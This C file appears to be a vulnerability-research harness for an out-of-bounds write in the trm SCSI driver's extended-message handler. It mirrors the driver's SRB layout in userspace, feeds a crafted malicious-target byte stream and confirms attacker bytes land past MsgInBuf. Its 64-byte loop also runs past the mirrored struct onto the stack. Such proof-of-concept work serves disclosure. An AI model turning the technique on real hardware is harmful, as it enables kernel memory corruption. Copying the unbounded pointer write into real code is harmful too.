DF-1236 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-1236 harness โ trm_MsgInPhase0 extended-message accumulation overflow. * * The kernel driver sys/dev/disk/trm/trm.c:trm_MsgInPhase0() accumulates * incoming SCSI MESSAGE-IN bytes for an EXTENDED message: * * sys/dev/disk/trm/trm.c:1861 MSG_EXTENDED branch sets SRB_EXTEND_MSGIN, * MsgInBuf[0]=01h, MsgCnt=1, * pMsgPtr = &MsgInBuf[1]. * sys/dev/disk/trm/trm.c:1958 *pMsgPtr = message_in_code; * sys/dev/disk/trm/trm.c:1959 MsgCnt++; * sys/dev/disk/trm/trm.c:1960 pMsgPtr++; * * Termination only happens for MsgInBuf[2]==3 && MsgCnt==4 (WDTR, :2026) or * MsgInBuf[2]==1 && MsgCnt==5 (SDTR, :2113). MsgInBuf is 6 bytes * (sys/dev/disk/trm/trm.h:168). A malicious SCSI target that sends * MSG_EXTENDED(01) + len + code != {1,3} + extra bytes drives pMsgPtr past * MsgInBuf[6] into MsgOutBuf / AdaptStatus / MsgCnt / TagNumber / SRBStatus * ... and into adjacent heap. * * This harness replicates the SRB layout and the accumulation loop, feeds a * malicious byte stream (code=0x02, never terminates), and prints which * fields get corrupted past MsgInBuf. It proves the write primitive is real * without needing a physical Tekram DC395 trm HBA (absent from the QEMU guest). * * The kernel trigger additionally requires: a trm HBA present + a malicious * SCSI target sending crafted extended messages. Not reproducible on this * guest (no such HBA). This harness proves the logic flaw. */ #include <stdio.h> #include <stdint.h> #include <string.h> /* Mirror the relevant SRB layout (sys/dev/disk/trm/trm.h:144-182). */ struct _SRB_harness { uint8_t CmdBlock[12]; uint64_t Segment0[2]; uint64_t Segment1[2]; void *pNextSRB; void *pSRBDCB; uint64_t SgSenseTemp[2]; void *pSRBSGL; uint32_t SRBSGPhyAddr; uint32_t SRBTotalXferLength; void *pccb; uint64_t sg_dmamap; uint64_t dmamap; uint16_t SRBState; uint8_t *pMsgPtr; uint8_t SRBSGCount; uint8_t SRBSGIndex; uint8_t MsgInBuf[6]; /* trm.h:168 */ uint8_t MsgOutBuf[6]; /* trm.h:169 */ uint8_t AdaptStatus; /* trm.h:171 */ uint8_t TargetStatus; uint8_t MsgCnt; /* trm.h:173 */ uint8_t TagNumber; /* trm.h:174 */ uint8_t SRBStatus; uint8_t RetryCnt; uint8_t SRBFlag; uint8_t ScsiCmdLen; uint8_t ScsiPhase; uint8_t Reserved[3]; }; #define SRB_EXTEND_MSGIN 0x0020 #define MSG_EXTENDED 0x01 /* Replicate trm_MsgInPhase0's extended-message accumulation (the else branch * at trm.c:1958-1960), byte-by-byte. Returns the number of bytes written * past the end of MsgInBuf. */ static int accumulate(struct _SRB_harness *s, const uint8_t *bytes, int n) { int oob = 0; for (int i = 0; i < n; i++) { /* trm.c:1958-1960 โ NO bound check on pMsgPtr vs MsgInBuf */ *s->pMsgPtr = bytes[i]; s->MsgCnt++; s->pMsgPtr++; if (s->pMsgPtr > &s->MsgInBuf[sizeof(s->MsgInBuf) - 1] + 1) oob++; /* The only terminations (trm.c:2026 WDTR, :2113 SDTR) โ we choose a * code byte that matches NEITHER, so accumulation never stops. */ } return oob; } int main(void) { struct _SRB_harness s; memset(&s, 0, sizeof(s)); /* trm.c:1861-1868 โ first MSG_EXTENDED byte */ s.SRBState |= SRB_EXTEND_MSGIN; s.MsgInBuf[0] = MSG_EXTENDED; s.MsgCnt = 1; s.pMsgPtr = &s.MsgInBuf[1]; /* Malicious target stream: [length][code=0x02][pad bytes...]. * code 0x02 is neither 1 (SDTR) nor 3 (WDTR), so trm.c:2026/:2113 never * match and the fall-through at trm.c:2234 returns, leaving * SRB_EXTEND_MSGIN set for the next byte. */ uint8_t stream[64]; stream[0] = 0xff; /* extended message length (n) */ stream[1] = 0x02; /* code != 1 and != 3 -> never terminates */ for (int i = 2; i < 64; i++) stream[i] = (uint8_t)(0xA0 + (i & 0x0f)); /* attacker bytes */ int oob = accumulate(&s, stream, 64); printf("DF-1236 trm MsgInBuf overflow harness\n"); printf("MsgInBuf is 6 bytes (trm.h:168); pMsgPtr started at MsgInBuf[1]\n"); printf("Bytes written past end of MsgInBuf[6]: %d\n", oob); printf("Final MsgCnt (trm.h:173, overwritten path): 0x%02x\n", s.MsgCnt); printf("MsgOutBuf after overflow: "); for (int i = 0; i < 6; i++) printf("%02x ", s.MsgOutBuf[i]); printf("\nAdaptStatus=0x%02x TargetStatus=0x%02x TagNumber=0x%02x SRBStatus=0x%02x\n", s.AdaptStatus, s.TargetStatus, s.TagNumber, s.SRBStatus); /* Verdict: if any MsgOutBuf byte is non-zero, attacker bytes landed past * MsgInBuf โ the OOB write primitive is confirmed. */ int corrupted = 0; for (int i = 0; i < 6; i++) if (s.MsgOutBuf[i]) corrupted++; if (oob > 0 && corrupted > 0) { printf("\nPRIMITIVE CONFIRMED: attacker-controlled bytes written past MsgInBuf[6]\n"); printf("into MsgOutBuf and beyond (SRB heap fields). Bug is REAL.\n"); return 0; } printf("\nUNEXPECTED: no corruption observed\n"); return 1; } |